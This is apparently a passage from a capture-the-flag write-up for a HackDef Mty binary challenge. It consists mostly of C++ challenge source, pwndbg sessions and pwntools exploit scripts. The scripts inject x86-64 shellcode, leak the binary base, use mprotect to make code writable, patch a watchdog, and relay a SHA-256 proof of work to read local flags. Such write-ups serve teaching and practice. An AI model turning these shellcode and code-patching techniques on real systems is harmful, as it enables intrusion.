    pid_t pid = fork();
    if (pid == -1) {
        die("fork");
    }

    if (pid == 0) {
        close(p2c[1]);
        close(c2p[0]);

        if (dup2(p2c[0], STDIN_FILENO) == -1) die("dup2 stdin");
        if (dup2(c2p[1], STDOUT_FILENO) == -1) die("dup2 stdout");
        if (dup2(c2p[1], STDERR_FILENO) == -1) die("dup2 stderr");

        close(p2c[0]);
        close(c2p[1]);

        const char *argv[] = {"print_flag", nullptr};
        execvp("/print_flag", const_cast<char *const *>(argv));

        die("execvp");
    } else {
        close(p2c[0]);
        close(c2p[1]);
    }
}

❯ gdb -q chal
Reading symbols from chal...
(No debugging symbols found in chal)
pwndbg> b *init_flagprocess+0x14e
Breakpoint 1 at 0x3fe88
pwndbg> r
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, 0x0000555555593e88 in init_flagprocess() ()
pwndbg> x/i $rip
=> 0x555555593e88 <_Z16init_flagprocessv+334>:  mov    eax,DWORD PTR [rbp-0x30]
pwndbg>

pwndbg> x/wx $rbp-0x2c
0x7fffffffdd04: 0x00000004
pwndbg> x/wx $rbp-0x28
0x7fffffffdd08: 0x00000005
pwndbg> x/wx $rbp-0x24
0x7fffffffdd0c: 0x00000006
pwndbg>

int main(int argc, char *argv[]) {
    init_buffers();
    imprimir_flag06();

    std::string token = "0";
    std::cin >> token;
    for (const char &c: token) {
        if (c < 'a') printError();
        if (c > 'z') printError();
    }

    std::string ruta_flag = "/root/flag_" + token + ".txt";
    if (!std::filesystem::exists(ruta_flag)) {
        std::cout << "Token incorrecto. Contacta un admin" << std::endl;
        return 0;
    }

    std::ifstream archivo(ruta_flag);
    if (!archivo.is_open()) {
        std::cout << "Error al abrir. Contacta un admin" << std::endl;
        return 0;
    }

    UUID nonce = get_random_uuid();
    print_hex(nonce.bytes, 0x10);

    SHA256_DIGEST digest = sha256_powN(nonce.bytes, 0x10, ITERACIONES);
    std::string ans_hex;
    std::cin >> ans_hex;

    if (ans_hex != digest.ToHex()) {
        std::cout << "NO. Respuesta incorrecta" << std::endl;
        std::cout << "La correcta era: " << digest.ToHex() << std::endl;
        return 0;
    }

    std::string flag;
    archivo >> flag;

    archivo.close();

    std::cout << flag << std::endl;
    return 0;
}

void imprimir_flag06() {
    std::ifstream archivo("/root/flag_06.txt");
    if (!archivo.is_open()) {
        std::cout << "Error al abrir flag06. Contacta un admin" << std::endl;
        exit(0);
    }

    std::string flag;
    archivo >> flag;
    archivo.close();

    std::cout << flag << std::endl;
}

❯ /print_flag
hackdef{6_f4k3_fl4g_4_t35t1ng}

shellcode = asm("""
    xor rax, rax # $rax = read()
    push 0x5     # /print_flag stdout
    pop rdi      # $rdi = fd
    mov rsi, rsp # $rdi = $rsp
    push 0x40    # 64 bytes
    pop rdx      # $rdx = 64
    syscall      # syscall

    push 0x1     # stoud
    pop rdi      # $rdi = stdout
    mov rax, rdi # $rax = write()
    syscall      # syscall
""", arch="amd64")

#!/usr/bin/python3
from pwn import process, asm, p64, log

shell = process("./chal")

shellcode = asm("""
    xor rax, rax # $rax = read()
    push 0x5     # /print_flag stdout
    pop rdi      # $rdi = fd
    mov rsi, rsp # $rdi = $rsp
    push 0x40    # 64 bytes
    pop rdx      # $rdx = 64
    syscall      # syscall

    push 0x1     # stoud
    pop rdi      # $rdi = stdout
    mov rax, rdi # $rax = write()
    syscall      # syscall
""", arch="amd64")

shell.sendlineafter(b"> ", b"21222")
shell.sendlineafter(b": \n", str(len(shellcode)).encode())
shell.sendlineafter(b":", shellcode)
shell.recvuntil(b": ")

rwx = int(shell.recvline().strip())
payload = p64(rwx) * 512

shell.sendlineafter(b"> ", b"2")
shell.sendlineafter(b"> ", b"-2196")
shell.sendlineafter(b": ", str(len(payload)).encode())
shell.sendlineafter(b": ", payload)

shell.recvline_contains(b"hackdef")
flag = shell.recvline_contains(b"hackdef")
log.info(f"Flag: {flag.decode()}")

❯ python3 exploit.py
[+] Starting local process './chal': pid 6425
[*] Flag: hackdef{6_f4k3_fl4g_4_t35t1ng}
[*] Stopped process './chal' (pid 6425)


Flag 7


UUID get_random_uuid() {
    std::ifstream urandom("/dev/urandom", std::ios::in | std::ios::binary);
    if (!urandom) {
        std::cerr << "No se puede abrir /dev/urandom" << std::endl;
        exit(0);
    }

    UUID value;
    memset(value.bytes, 0, 0x10);
    urandom.read(reinterpret_cast<char *>(value.bytes), 0x10);
    urandom.close();

    return value;
}

#define ITERACIONES 0x1300000

SHA256_DIGEST sha256(const unsigned char *content, size_t len) {
    SHA256_DIGEST ret;
    SHA256(content, len, ret.bytes);
    return ret;
}

SHA256_DIGEST sha256_powN(const unsigned char *content, size_t len, size_t N) {
    auto start = std::chrono::high_resolution_clock::now();

    SHA256_DIGEST ret = sha256(content, len);
    for (size_t i = 1; i < N; i++) {
        ret = sha256(ret.bytes, SHA256_DIGEST_LENGTH);
    }

    auto end = std::chrono::high_resolution_clock::now();
    auto duration = std::chrono::duration_cast<std::chrono::milliseconds>(end - start);

    return ret;
}

def sha256(nonce):
    hash = bytes.fromhex(nonce.decode())
    for i in range(0x1300000):
        hash = hashlib.sha256(hash).digest()
    return hash

❯ /print_flag
hackdef{6_f4k3_fl4g_4_t35t1ng}
mylpwn
34824CAD921B505E4644B9C83B3B7BF6

❯ python3 -q
>>> import hashlib
>>> def sha256(nonce):
...     hash = bytes.fromhex(nonce.decode())
...     for i in range(0x1300000):
...         hash = hashlib.sha256(hash).digest()
...     return hash
...
>>> nonce = b"34824CAD921B505E4644B9C83B3B7BF6"
>>> sha256(nonce).hex().upper()
'364F3FEB34950CD2CB5D81FADE1E7B0AB6407D80AAC58E8ADB420412DF3AD819'
>>>

❯ /print_flag
hackdef{6_f4k3_fl4g_4_t35t1ng}
mylpwn
34824CAD921B505E4644B9C83B3B7BF6
364F3FEB34950CD2CB5D81FADE1E7B0AB6407D80AAC58E8ADB420412DF3AD819
hackdef{mylpwn_f4k3_fl4g_4_t35t1ng}

#include <unistd.h>

int main() {
    char buffer[65];

    read(5, buffer, 31);     // read flag from /print_flag stdout
    write(1, buffer, 31);    // write flag to chal stdout

    write(4, "mylpwn\n", 7); // write token to /print_flag stdin
    read(5, buffer, 33);     // read nonce from /print_flag stdout
    write(1, buffer, 33);    // write nonce to chal stdout

    read(0, buffer, 65);     // read hash from chal stdin
    write(4, buffer, 65);    // write hash to /print_flag stdin

    read(5, buffer, 65);     // read flag from /pribt_flag stdout
    write(1, buffer, 65);    // write flag to chal stdout
}

shellcode = asm("""
    push 0x5                 # /print_flag stdout
    pop rdi                  # $rdi = fd
    mov rsi, rsp             # $rsi = flag
    push 0x1f                # len(flag) = 31
    pop rdx                  # $rdx = len(flag)
    xor rax, rax             # $rax = read()
    syscall                  # syscall

    push 0x1                 # stdout
    pop rdi                  # $rdi = stdout
    mov rax, rdi             # $rax = write()
    syscall                  # syscall

    push 0x4                 # /print_flag stdin
    pop rdi                  # $rdi = fd
    mov rax, 0xa6e77706c796d # $rax = "mylpwn"
    push rax                 # $rsp = &"mylpwn"
    mov rsi, rsp             # $rsi = token
    push 0x7                 # len(token) = 7
    pop rdx                  # $rdx = len(token)
    push 0x1                 # write()
    pop rax                  # $rax = write()
    syscall                  # syscall

    push 0x5                 # /print_flag stdout
    pop rdi                  # $rdi = fd
    push 0x21                # len(nonce) = 33
    pop rdx                  # $rdx = len(nonce)
    xor rax, rax             # $rax = read()
    syscall                  # syscall

    push 0x1                 # stdout
    pop rdi                  # $rdi = stdout
    mov rax, rdi             # $rax = write()
    syscall                  # syscall

    xor rdi, rdi             # $rdi = stdin
    push 0x41                # len(answer) = 65
    pop rdx                  # $rdx = len(answer)
    xor rax, rax             # $rax = read()
    syscall                  # syscall

    push 0x4                 # /print_flag stdin
    pop rdi                  # $rdi = fd
    push 0x1                 # write()
    pop rax                  # $rax = write()
    syscall                  # syscall

    push 0x5                 # /print_flag stdout
    pop rdi                  # $rdi = fd
    xor rax, rax             # $rax = read()
    syscall                  # syscall

    push 0x1                 # stdout
    pop rdi                  # $rdi = stdout
    mov rax, rdi             # $rax = write()
    syscall                  # syscall
""", arch="amd64")

nonce = shell.recv(32)
log.info(f"Nonce: {nonce.decode()}")

def sha256(nonce):
    hash = bytes.fromhex(nonce.decode())
    for i in range(0x1300000):
        hash = hashlib.sha256(hash).digest()
    return hash

answer = sha256(nonce).hex().upper()
log.info(f"Answer: {answer}")

shell.sendline(answer.encode())

#!/usr/bin/python3
from pwn import process, asm, p64, log, hashlib

shell = process("./chal")

shellcode = asm("""
    push 0x5                 # /print_flag stdout
    pop rdi                  # $rdi = fd
    mov rsi, rsp             # $rsi = flag
    push 0x1f                # len(flag) = 31
    pop rdx                  # $rdx = len(flag)
    xor rax, rax             # $rax = read()
    syscall                  # syscall

    push 0x1                 # stdout
    pop rdi                  # $rdi = stdout
    mov rax, rdi             # $rax = write()
    syscall                  # syscall

    push 0x4                 # /print_flag stdin
    pop rdi                  # $rdi = fd
    mov rax, 0xa6e77706c796d # $rax = "mylpwn"
    push rax                 # $rsp = &"mylpwn"
    mov rsi, rsp             # $rsi = token
    push 0x7                 # len(token) = 7
    pop rdx                  # $rdx = len(token)
    push 0x1                 # write()
    pop rax                  # $rax = write()
    syscall                  # syscall

    push 0x5                 # /print_flag stdout
    pop rdi                  # $rdi = fd
    push 0x21                # len(nonce) = 33
    pop rdx                  # $rdx = len(nonce)
    xor rax, rax             # $rax = read()
    syscall                  # syscall

    push 0x1                 # stdout
    pop rdi                  # $rdi = stdout
    mov rax, rdi             # $rax = write()
    syscall                  # syscall

    xor rdi, rdi             # $rdi = stdin
    push 0x41                # len(answer) = 65
    pop rdx                  # $rdx = len(answer)
    xor rax, rax             # $rax = read()
    syscall                  # syscall

    push 0x4                 # /print_flag stdin
    pop rdi                  # $rdi = fd
    push 0x1                 # write()
    pop rax                  # $rax = write()
    syscall                  # syscall

    push 0x5                 # /print_flag stdout
    pop rdi                  # $rdi = fd
    xor rax, rax             # $rax = read()
    syscall                  # syscall

    push 0x1                 # stdout
    pop rdi                  # $rdi = stdout
    mov rax, rdi             # $rax = write()
    syscall                  # syscall
""", arch="amd64")

shell.sendlineafter(b"> ", b"21222")
shell.sendlineafter(b": \n", str(len(shellcode)).encode())
shell.sendlineafter(b":", shellcode)
shell.recvuntil(b": ")

rwx = int(shell.recvline().strip())
payload = p64(rwx) * 512

shell.sendlineafter(b"> ", b"2")
shell.sendlineafter(b"> ", b"-2196")
shell.sendlineafter(b": ", str(len(payload)).encode())
shell.sendlineafter(b": ", payload)

shell.recvline_contains(b"hackdef")
shell.recvline_contains(b"hackdef")

nonce = shell.recv(32)
log.info(f"Nonce: {nonce.decode()}")

def sha256(nonce):
    hash = bytes.fromhex(nonce.decode())
    for i in range(0x1300000):
        hash = hashlib.sha256(hash).digest()
    return hash

answer = sha256(nonce).hex().upper()
log.info(f"Answer: {answer}")

shell.sendline(answer.encode())
shell.interactive()

❯ python3 exploit.py
[+] Starting local process './chal': pid 21463
[*] Nonce: 4D9727C49C90A9E521EEEC3847E2F4D1
[*] Answer: CF8AF612A482422C4D0F6FEC792B16923C255C83C94CCE738514972267AEF35B
[*] Switching to interactive mode

Te descubri hacker!
[*] Process './chal' stopped with exit code 0 (pid 21633)
[*] Got EOF while reading in interactive
$

pwndbg> x/i 0x49ea3
   0x49ea3 <_Z15service_checkerv+158>:  mov    DWORD PTR [rbp-0x40],0x64
pwndbg> x/wx 0x49ea6
0x49ea6 <_Z15service_checkerv+161>:     0x00000064
pwndbg> x/wd 0x49ea6
0x49ea6 <_Z15service_checkerv+161>:     100
pwndbg>

bool op_leer = true;

case 3:
    if (op_leer) {
        op_leer = false;
        consultar_NIP();
    } else {
        puts("No no no");
    }
    break;

pwndbg> x/i 0x4ab64
   0x4ab64 <_Z9main_menuv+172>: cmp    BYTE PTR [rbp-0x5],0x0
pwndbg> x/bx 0x4ab67
0x4ab67 <_Z9main_menuv+175>:    0x00
pwndbg>

pwndbg> x/i 0x49e77
   0x49e77 <_Z15service_checkerv+114>:  mov    edi,0x487
pwndbg> x/wx 0x49e78
0x49e78 <_Z15service_checkerv+115>:     0x00000487
pwndbg> x/wd 0x49e78
0x49e78 <_Z15service_checkerv+115>:     1159
pwndbg>

pwndbg> vmmap chal
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
►   0x555555554000     0x55555558a000 r--p    36000       0 chal
►   0x55555558a000     0x5555555aa000 r-xp    20000   36000 chal
►   0x5555555aa000     0x5555555b4000 r--p     a000   56000 chal
►   0x5555555b4000     0x5555555ba000 r--p     6000   5f000 chal
►   0x5555555ba000     0x5555555bb000 rw-p     1000   65000 chal
    0x5555555bb000     0x5555555c0000 rw-p     5000       0 [heap]
pwndbg> p/x 0x55555558a000 - 0x555555554000
$1 = 0x36000
pwndbg>

#!/usr/bin/python3
from pwn import gdb

shell = gdb.debug("./chal", "continue")

shell.sendlineafter(b"> ", b"3")
shell.sendlineafter(b": ", b"admin")
shell.sendlineafter(b": ", b"MM\x11N")

shell.sendlineafter(b"> ", b"-1000")

shell.interactive()

❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 22271
[*] running in new terminal: ['/usr/bin/gdb', '-q', './chal']
[*] Switching to interactive mode
SECRETO: 97558834600304
Servicio interno de tarjetas de credito
** Menu:
1. Registrar tarjeta
2. Registrar NIP
3. Consultar NIP
4. Borrar NIP
5. Salir
> OK
$

pwndbg> x/i 97558834600304
   0x58baafae5970 <_Z8tarjetasB5cxx11+208>:     add    BYTE PTR [rax],al
pwndbg> vmmap chal
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
►   0x58baafa7d000     0x58baafab3000 r--p    36000       0 /home/user/HackDefMty/chal/chal
►   0x58baafab3000     0x58baafad3000 r-xp    20000   36000 /home/user/HackDefMty/chal/chal
►   0x58baafad3000     0x58baafadd000 r--p     a000   56000 /home/user/HackDefMty/chal/chal
►   0x58baafadd000     0x58baafae3000 r--p     6000   5f000 /home/user/HackDefMty/chal/chal
►   0x58baafae3000     0x58baafae4000 rw-p     1000   65000 /home/user/HackDefMty/chal/chal
    0x58baafae4000     0x58baafae9000 rw-p     5000       0 [anon_58baafae4]
pwndbg> p/x 97558834600304 - 0x58baafa7d000
$1 = 0x68970
pwndbg>

#!/usr/bin/python3
from pwn import gdb, log

shell = gdb.debug("./chal", "continue")

shell.sendlineafter(b"> ", b"3")
shell.sendlineafter(b": ", b"admin")
shell.sendlineafter(b": ", b"MM\x11N")

shell.sendlineafter(b"> ", b"-1000")
shell.recvuntil(b": ")

binary_base = int(shell.recvline().strip()) - 0x68970
log.info(f"Binary base: {hex(binary_base)}")

shell.interactive()

❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 29262
[*] running in new terminal: ['/usr/bin/gdb', '-q', './chal']
[*] Binary base: 0x628e0c123000
[*] Switching to interactive mode
Servicio interno de tarjetas de credito
** Menu:
1. Registrar tarjeta
2. Registrar NIP
3. Consultar NIP
4. Borrar NIP
5. Salir
> $

pwndbg> vmmap 0x628e0c123000
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
►   0x628e0c123000     0x628e0c159000 r--p    36000       0 /home/user/HackDefMty/chal/chal +0x0
    0x628e0c159000     0x628e0c179000 r-xp    20000   36000 /home/user/HackDefMty/chal/chal
pwndbg>

#!/usr/bin/python3
from pwn import gdb, asm, p64, log

shell = gdb.debug("./chal", "continue")

shell.sendlineafter(b"> ", b"3")
shell.sendlineafter(b": ", b"admin")
shell.sendlineafter(b": ", b"MM\x11N")

shell.sendlineafter(b"> ", b"-1000")
shell.recvuntil(b": ")

binary_base = int(shell.recvline().strip()) - 0x68970

shellcode = asm(f"""
    mov rdi, {hex(binary_base + 0x36000)} # $rdi = .text
    mov rsi, 0x20000                      # $rsi = size
    mov rdx, 0x7                          # $rdx = rwx
    push 0xa                              # mprotect()
    pop rax                               # $rax = mprotect()
    syscall                               # syscall
""", arch="amd64")

shell.sendlineafter(b"> ", b"21222")
shell.sendlineafter(b": \n", str(len(shellcode)).encode())
shell.sendlineafter(b":", shellcode)
shell.recvuntil(b": ")

rwx = int(shell.recvline().strip())
payload = p64(rwx) * 512

shell.sendlineafter(b"> ", b"2")
shell.sendlineafter(b"> ", b"-2196")
shell.sendlineafter(b": ", str(len(payload)).encode())
shell.sendlineafter(b": ", payload)

shell.interactive()

pwndbg> vmmap chal
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
►   0x5ec353647000     0x5ec35367d000 r--p    36000       0 /home/user/HackDefMty/chal/chal
►   0x5ec35367d000     0x5ec35369d000 rwxp    20000   36000 /home/user/HackDefMty/chal/chal
►   0x5ec35369d000     0x5ec3536a7000 r--p     a000   56000 /home/user/HackDefMty/chal/chal
►   0x5ec3536a7000     0x5ec3536ad000 r--p     6000   5f000 /home/user/HackDefMty/chal/chal
►   0x5ec3536ad000     0x5ec3536ae000 rw-p     1000   65000 /home/user/HackDefMty/chal/chal
    0x5ec3536ae000     0x5ec3536b3000 rw-p     5000       0 [anon_5ec3536ae]
pwndbg>

shellcode = asm(f"""
    mov rdi, {hex(binary_base + 0x36000)} # $rdi = .text
    mov rsi, 0x20000                      # $rsi = size
    mov rdx, 0x7                          # $rdx = rwx
    push 0xa                              # mprotect()
    pop rax                               # $rax = mprotect()
    syscall                               # syscall

    mov rdi, {hex(binary_base + 0x40171)} # $rdi = &salir()
    mov byte ptr [rdi], 0xc3              # salir() = ret
    mov rdi, {hex(binary_base + 0x49ea6)} # $rdi = &timeout
    mov dword ptr [rdi], 0x493e0          # timeout = 5 mins

    mov rdi, {hex(binary_base + 0x4ab67)} # $rdi = &check
    mov byte ptr [rdi], 0x1               # check = true
    mov rdi, {hex(binary_base + 0x49e78)} # $rdi = &range
    mov dword ptr [rdi], 0xff             # range = randint(0xff)

    ret                                   # return
""", arch="amd64")

#!/usr/bin/python3
from pwn import process, asm, p64, log, hashlib

shell = process("./chal")

shell.sendlineafter(b"> ", b"3")
shell.sendlineafter(b": ", b"admin")
shell.sendlineafter(b": ", b"MM\x11N")

shell.sendlineafter(b"> ", b"-1000")
shell.recvuntil(b": ")

binary_base = int(shell.recvline().strip()) - 0x68970

shellcode = asm(f"""
    mov rdi, {hex(binary_base + 0x36000)} # $rdi = .text
    mov rsi, 0x20000                      # $rsi = size
    mov rdx, 0x7                          # $rdx = rwx
    push 0xa                              # mprotect()
    pop rax                               # $rax = mprotect()
    syscall                               # syscall

    mov rdi, {hex(binary_base + 0x40171)} # $rdi = &salir()
    mov byte ptr [rdi], 0xc3              # salir() = ret
    mov rdi, {hex(binary_base + 0x49ea6)} # $rdi = &timeout
    mov dword ptr [rdi], 0x493e0          # timeout = 5 mins

    mov rdi, {hex(binary_base + 0x4ab67)} # $rdi = &check
    mov byte ptr [rdi], 0x1               # check = true
    mov rdi, {hex(binary_base + 0x49e78)} # $rdi = &range
    mov dword ptr [rdi], 0xff             # range = randint(0xff)

    ret                                   # return
""", arch="amd64")

shell.sendlineafter(b"> ", b"21222")
shell.sendlineafter(b": \n", str(len(shellcode)).encode())
shell.sendlineafter(b":", shellcode)
shell.recvuntil(b": ")

rwx = int(shell.recvline().strip())
payload = p64(rwx) * 512

shell.sendlineafter(b"> ", b"2")
shell.sendlineafter(b"> ", b"-2196")
shell.sendlineafter(b": ", str(len(payload)).encode())
shell.sendlineafter(b": ", payload)

shell.recvline_contains(b"vigilando...")

shellcode = asm("""
    push 0x5                 # /print_flag stdout
    pop rdi                  # $rdi = fd
    mov rsi, rsp             # $rsi = flag
    push 0x1f                # len(flag) = 31
    pop rdx                  # $rdx = len(flag)
    xor rax, rax             # $rax = read()
    syscall                  # syscall

    push 0x1                 # stdout
    pop rdi                  # $rdi = stdout
    mov rax, rdi             # $rax = write()
    syscall                  # syscall

    push 0x4                 # /print_flag stdin
    pop rdi                  # $rdi = fd
    mov rax, 0xa6e77706c796d # $rax = "mylpwn"
    push rax                 # $rsp = &"mylpwn"
    mov rsi, rsp             # $rsi = token
    push 0x7                 # len(token) = 7
    pop rdx                  # $rdx = len(token)
    push 0x1                 # write()
    pop rax                  # $rax = write()
    syscall                  # syscall

    push 0x5                 # /print_flag stdout
    pop rdi                  # $rdi = fd
    push 0x21                # len(nonce) = 33
    pop rdx                  # $rdx = len(nonce)
    xor rax, rax             # $rax = read()
    syscall                  # syscall

    push 0x1                 # stdout
    pop rdi                  # $rdi = stdout
    mov rax, rdi             # $rax = write()
    syscall                  # syscall

    xor rdi, rdi             # $rdi = stdin
    push 0x41                # len(answer) = 65
    pop rdx                  # $rdx = len(answer)
    xor rax, rax             # $rax = read()
    syscall                  # syscall

    push 0x4                 # /print_flag stdin
    pop rdi                  # $rdi = fd
    push 0x1                 # write()
    pop rax                  # $rax = write()
    syscall                  # syscall

    push 0x5                 # /print_flag stdout
    pop rdi                  # $rdi = fd
    xor rax, rax             # $rax = read()
    syscall                  # syscall

    push 0x1                 # stdout
    pop rdi                  # $rdi = stdout
    mov rax, rdi             # $rax = write()
    syscall                  # syscall
""", arch="amd64")

shell.sendlineafter(b"> ", b"21222")
shell.sendlineafter(b": \n", str(len(shellcode)).encode())
shell.sendlineafter(b":", shellcode)
shell.recvuntil(b": ")

rwx = int(shell.recvline().strip())
payload = p64(rwx) * 512

shell.sendlineafter(b"> ", b"2")
shell.sendlineafter(b"> ", b"-2196")
shell.sendlineafter(b": ", str(len(payload)).encode())
shell.sendlineafter(b": ", payload)

shell.recvline_contains(b"hackdef")
nonce = shell.recv(32)

def sha256(nonce):
    hash = bytes.fromhex(nonce.decode())
    for i in range(0x1300000):
        hash = hashlib.sha256(hash).digest()
    return hash

answer = sha256(nonce).hex().upper()
shell.sendline(b"A" + answer.encode())

flag = shell.recvline_contains(b"hackdef")
log.info(f"Flag: {flag.decode()}")

❯ python3 exploit.py
[+] Starting local process './chal': pid 30127
[*] Flag: hackdef{mylpwn_f4k3_fl4g_4_t35t1ng}
[*] Stopped process './chal' (pid 30127)